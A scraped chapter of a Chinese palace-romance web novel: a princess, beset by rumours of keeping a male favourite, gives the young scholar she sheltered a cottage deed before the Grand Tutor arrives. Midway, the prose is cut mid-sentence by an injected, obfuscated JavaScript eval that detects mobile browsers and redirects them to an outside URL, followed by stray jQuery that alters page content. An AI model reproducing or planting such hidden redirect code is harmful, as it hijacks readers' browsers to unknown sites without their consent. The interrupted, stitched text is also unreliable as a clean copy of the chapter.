24. 第 24 章
作品:《太傅大人今天生气了吗?》 萧玉柔听后,又羞又气,简直七窍生烟,咬牙道,“呸!哪个不长眼的东西传的,本公主割了他的舌头!”
谢云澄连忙按下萧玉柔,劝道:“表姐你别冲动啊!这街头巷尾的事情,你就算派人查也查不出什么。”
“那就这么眼睁睁地看着他们污蔑本宫?”
“殿下消消气,”谢云澄按住萧玉柔后,给她斟了一杯茶,道:“你不是说你不在意这些流言?”
萧玉柔瞪大一双漂亮的眼睛,不敢置信道:“这能一样吗?我是不在乎别人怎么评论我做过的事,我又没做过那等……呸!这是污蔑。”
谢云澄点头:“这歌谣确实可恶,现在街头巷尾到处在传,说你养了男宠在府中,还讲得有鼻子有眼的……”
萧玉柔冷哼了一声:“大不了真弄几个来,都这么传,我不做岂不是对不起他们?”
谢云澄心知她若是气急了,真能做出这种事,忙道:“殿下,此事不比以前,前日那帮言官刚在表叔那闹了一通,如今你若是再做这种事,只会愈加让他们不满。”
谢云澄看着萧玉柔,小心道:“殿下,您……真没有收男宠?”
萧玉柔怒目圆睁,瞪了他一眼。
谢云澄吓得一个激灵,狗腿道,“得嘞,那我先回去了,若是还有什么消息,我便来给你传话。”
待谢云澄走后,萧玉柔便坐在窗边发呆。
男宠……她将视线落在陆砚之给她写的话本上,难不成……
她虽是公主,除非犯了谋反大罪,不然没人能拿她怎样,可此事实在是让人憋屈,言官的不满,林佑宁的诬告,街头巷尾的流言……
想得心烦气躁,萧玉柔胡乱揉了揉自己的头发。
莺儿此时进来道:“殿下,陆砚之来了,他说今日他又写了新的话本,要当面呈给殿下。”
萧玉柔闻言低头沉思一阵,面色闪过一丝犹豫,但仅仅只过了一瞬,便恢复如常,她微微颔首:“让他进来吧。”
·
勤政殿。
谢瑜今日下朝后,有几个言官不肯走,七嘴八舌地追到了勤政殿,继续喋喋不休。
一言官作揖道:“太傅大人曾说,此事自会有个决断,如今林家大姑娘已经醒来,一口咬定是公主将她推下山崖,现如今人证物证具在,还请太傅大人决断!”
“是啊大人!此事若不妥善地有个了断,那岂不是会乱了我朝的风气纲常?”言敬史道,“若是不严惩公主,这样放纵下去,岂不是要将她养成恶人!”
太医院林院判也在其中:“公主殿下金枝玉叶,她推小女下山崖,下官人微言轻,不敢说什么,只是家中小女实在可怜,臣心痛啊!望大人能体恤一二!”
言敬史深以为然,怒道:“近些日子以来,她简直是越发张狂!”
言敬史伸出手,细数萧玉柔的罪状:“这殴打未婚夫婿、谋害贵女、私德败坏,哪一样不是大错?”
谢瑜闻言抬眼看向他,眼神带上了些疑惑,薄唇轻启:“私德败坏?”
言敬史气急败坏地控诉:“正是,现在街头巷尾都在传,公主殿下私德不检,还养了……养了男子在府中!已经一个多月了!外边传什么的都有,甚至还有童谣!现在已传遍了!”
谢瑜闻言轻蹙眉头,清冽的眸光闪着:“什么童谣?”
言敬史似是羞于启齿,面露难色:“这……”
有一官员站了出来,难堪道:“那童谣传……”
谢瑜听闻,怒道:“胡言乱语。”
众人皆跪倒:“下官等所言非虚,如今街头巷尾都已传遍了!”
“是啊大人,若是长此以往,皇家威严何在?信誉何在啊?大人!”
谢瑜捏了捏眉心,道:“此事吾已知晓,今日便会去公主府一趟,诸位先回罢。”
……
谢瑜打发了一众告状的官员,又处理了日常的庶务,直到暮色四合才忙完。他出了皇宫,乘坐马车,直奔公主府。
·
公主府内,灯火初上。
陆砚之一袭书生青袍,迈步进了偏殿,手中还拿着两个册子。
他将书册双手捧上,恭敬道:“公主殿下,这是今日替您完成的课业,请您查阅。”
“不必了,本宫信得过你,”萧玉柔垂眸看去,示意莺儿收下,又冲陆砚之道:“今日辛苦了。”
陆砚之闻言摇头,诚恳道:“公主殿下于小人有恩,小人自然尽心竭力为殿下办事。”
萧玉柔点点头,道了一句甚好,脑子里想着该如何向他开口。
陆砚之瞧着萧玉柔淡眉微蹙,一副心事重重的模样,便道:“噢对了,”他从怀中拿出一本小一些的书册,“这是小人今日为公主殿下写的助眠话本。”说罢他将书册递给莺儿。
陆砚之语调中透出欢喜,轻快道:“听莺儿姐姐说,上回小人写的话本甚是管用,小人心中也很高兴能为公主分忧,之后小人会继续送来。”
萧玉柔瞧他,许是少年人的成长很快,相比之前,陆砚之脸上的稚气少了几分,渐渐出落成一副清秀的青年模样,衣袍得体,束发端方,眼中闪烁着微光,连讲话也不那么结巴了。
陆砚之见萧玉柔久久不语,有些不安,忐忑道:“殿下?您怎么了,是不是有什么烦心事?”
萧玉柔回过神摇摇头,道:“无事,”她扬扬下巴,“坐吧。”
“小人不敢。”陆砚之受宠若惊,连忙作揖。
莺儿看着萧玉柔脸色,对他道:“公主叫你坐你就坐。”说罢便要拉扯他。
陆砚之只好鞠了一躬,坐在萧玉柔对面,只是不敢坐满,只虚坐在椅子的边沿。
萧玉柔顿了顿,还是开口道:“你来府中多久了?”
陆砚之恭敬回道:“一月有余。”
萧玉柔点点头:“你家中那边可还有消息?”
陆砚之摇头:“小人怕给公主府添麻烦,是以从未对人说过,我家中的人更是不知……”他忽然想起些什么,支支吾吾道:“不过,我偶尔会送些东西给邻居大婶,托她看顾一下妹妹……”
“这个无妨,”萧玉柔摇摇头,她想了一想,还是硬着头
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869460|173234||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
皮道:“近日来的一些传言你可听过?”
陆砚之自然略有耳闻,只是他从来不敢细听。他心中隐隐有了猜测,不安道:“小人……听了一点。”
萧玉柔推了推桌上的点心:“外边传我性子飞扬跋扈,心思恶毒,甚至是荒唐淫靡……”
“我本不想理会这些,只是这回形势不佳,你留在我府中恐会受人诟病,你又是个读书不错的,日后也许会考取功名,若有这样的污点,于前途不利,所以……”萧玉柔深吸了一口气,“现下府中不方便再留你了。”
萧玉柔说出此话着实艰难,毕竟当初是她一口答应下来要收留他,如今不过才一月就要出尔反尔,终是不好。
萧玉柔冲莺儿使了个眼色。
莺儿了然,从怀中拿出了一张纸。
萧玉柔将那张纸打开,正欲递给陆砚之,却没想到他倏地起身,跪倒了萧玉柔面前。
陆砚之哽咽道:“求求公主,不要赶我走……”
萧玉柔拿着房契的手一顿。
“公主不是答应小人,让小人可以在公主府当差?”他抹着眼泪道,“小人家中实在无可留恋……是、是因为小人暗中接济了妹妹才会让流言如此传的吗?小人知错,可小人想读书,小人想为公主办事,求求殿下,不要扔下小人!”
此时的寻常人家要想供一个青年劳力不事生产,全力读书,乃是一件极为奢侈的事情,陆砚之家中本是殷实的,只因受灾发大水,才致家道中落,无法继续科考。
可人一旦见了一条更好的路,哪里还愿意回到从前,过毫无希望的日子呢?
陆砚之一番声泪俱下,动情之处连连磕头,虽是一副青年模样,可此时却哭得像个孩子一般,让人不忍卒听。
萧玉柔从来吃软不吃硬,她本就动摇,一听他如此,不由得心软了下来。
她起身走向陆砚之,轻轻抚着他的后背,长姐一般地关怀道:“你莫怕,本公主一言既出驷马难追,既说了要帮你,就不会袖手旁观。”
她将房契递给陆砚之:“此乃京郊的一处茅屋,院前有一亩地。”
茅屋价廉,萧玉柔手头金银无数,完全可以送他一间豪宅,但她却不想那么做。
并非是萧玉柔吝啬,只是帮人有度,她欣赏他的才华,却并不打算让他欠下什么大恩。
“此处隐蔽,恰巧又距你继母家较远,你安生住着,寻个时候,将你妹妹接来,我会让丽娘多给你些誊录抄写的差事,我也会继续雇你,你在家中抄写即可,每月我会派人来取,此处可别让你继母发现了。”
陆砚之瞧着,两滴眼泪打在了那张房契上。
萧玉柔见他又要哭,故意道:“你怎地还哭?本公主跟你说,这些可是算借你的,日后你中了功名,可是要还的!”
陆砚之吸了吸鼻子,傻笑两声,露出一颗小虎牙:“您放心,小人一定行!”
萧玉柔笑眯眯地抹了抹他的脑袋:“这才乖。”
忽然之间,一道冰冷透骨的声音在萧玉柔身后响起:
“殿下这是在做什么?”